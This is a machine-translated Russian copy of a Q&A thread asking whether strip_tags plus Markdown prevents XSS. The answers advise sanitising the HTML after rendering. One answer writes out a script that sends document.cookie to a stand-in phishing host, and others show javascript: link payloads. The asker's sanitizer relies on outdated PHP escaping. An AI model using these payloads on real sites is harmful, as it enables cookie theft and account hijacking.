Достаточно ли Markdown (с strip_tags), чтобы остановить XSS-атаки? - PullRequest
9 голосов
/ 04 августа 2009

Я работаю над веб-приложением, которое позволяет пользователям вводить краткие описания элементов в каталоге. Я разрешаю Markdown в моих текстовых полях, чтобы пользователи могли выполнять некоторое форматирование HTML.

Моя функция очистки текста удаляет все теги из любого введенного текста перед тем, как вставить его в базу данных:

public function sanitizeText($string, $allowedTags = "") {
    $string = strip_tags($string, $allowedTags);

    if(get_magic_quotes_gpc()) {
        return mysql_real_escape_string(stripslashes($string));
    } else {
        return mysql_real_escape_string($string);
    }
}

По сути, все, что я храню в базе данных, это Markdown - никакой другой HTML, даже «базовый HTML» (как здесь, в SO) не допускается.

Представит ли уценка угрозы безопасности? Можно ли использовать XSSed уценку, даже если у нее нет тегов?

Ответы [ 7 ]

9 голосов
/ 04 августа 2009

Я думаю, что удаление любого HTML-тега из входных данных даст вам что-то довольно безопасное - за исключением случаев, когда кто-то найдет способ внедрить некоторые действительно испорченные данные в Markdown, заставив его генерировать еще более испорченный вывод ^^

Тем не менее, вот две вещи, которые приходят мне на ум:

Первый: strip_tags - не чудодейственная функция: у него есть некоторые недостатки ...
Например, он удалит все после '<', в такой ситуации: </p>

$str = "10 appels is <than 12 apples";
var_dump(strip_tags($str));

Вывод, который я получаю:

string '10 appels is ' (length=13)

Что не очень приятно для ваших пользователей : - (


Второй: В тот или иной день вы можете разрешить некоторые HTML-теги / атрибуты; или даже сегодня вы можете быть уверены, что Markdown не генерирует некоторые теги / атрибуты HTML.

Вас может заинтересовать что-то вроде HTMLPurifier : оно позволяет вам указать, какие теги и атрибуты должны быть сохранены, и фильтрует строку, чтобы остались только те.

Он также генерирует действительный код HTML - что всегда приятно ; -)

7 голосов
/ 26 июля 2011

Вот прекрасный пример того, почему вам нужно очистить HTML после, а не раньше:

Код уценки:

>  <script type="text/javascript"
>  language="js">i=new Image\(\); i.src='http://phishingwebsite.example.com/?l='
> + escape\(window.location\) + '&c=' + escape\(document.cookie\);
> </script>
>

Представлено как:

<blockquote> 
<p><script type="text/javascript"
 language="js">i=new Image(); i.src='http://phishingwebsite.example.com/?l='
+ escape(window.location) + '&amp;c=' + escape(document.cookie);
</script></p> 
</blockquote> 

Теперь ты волнуешься?

3 голосов
/ 04 августа 2009

Очистка полученного HTML после рендеринга уценки будет наиболее безопасной. Если вы этого не сделаете, я думаю, что люди смогут выполнить произвольный Javascript в Markdown следующим образом:

[Click me](javascript:alert\('Gotcha!'\);)

PHP Markdown преобразует это в:

<p><a href="javascript:alert&#40;'Gotcha!'&#41;;">Click me</a></p>

Что делает работу. ... и даже не думайте начать добавлять код, чтобы позаботиться об этих случаях. Правильная санация не проста, просто используйте хороший инструмент и применяйте его после рендеринга Markdown в HTML.

2 голосов
/ 04 августа 2009

Будет разрешать уценку присутствовать любому угрозы безопасности? Может ли быть уценка XSSed, хотя у него нет тегов?

Практически невозможно сделать абсолютные утверждения в этом отношении - кто может сказать, во что может быть введен анализатор уценки при достаточно некорректном вводе?

Однако риск, вероятно, очень низок, поскольку это относительно простой синтаксис. Самым очевидным углом атаки будет javascript: URL-адреса в ссылках или изображениях - вероятно, не разрешены парсером, но это то, что я хотел бы проверить.

1 голос
/ 07 мая 2012

Нет. То, как вы используете Markdown, небезопасно. Уценку можно использовать безопасно, но вы должны использовать ее правильно. Для получения подробной информации о том, как безопасно использовать Markdown, смотрите здесь . См. Ссылку для получения подробной информации о том, как использовать его безопасно, но короткая версия: важно использовать последнюю версию, установить safe_mode и установить enable_attributes=False.

Ссылка также объясняет, почему экранирования ввода и последующего вызова Markdown (как вы делаете) недостаточно для обеспечения безопасности. Краткий пример: "[clickme](javascript:alert%28%22xss%22%29)".

0 голосов
/ 03 декабря 2010

Я согласен с Паскалем МАРТИНОМ в том, что HTML-дезинфекция - лучший подход. Если вы хотите сделать это полностью на JavaScript, я предлагаю взглянуть на библиотеку санации google-caja ( исходный код ).

0 голосов
/ 04 августа 2009

BBcode обеспечивает большую безопасность, потому что вы генерируете теги.

image

Если разрешено image, это будет проходить прямо через strip_tags;) Бам!

...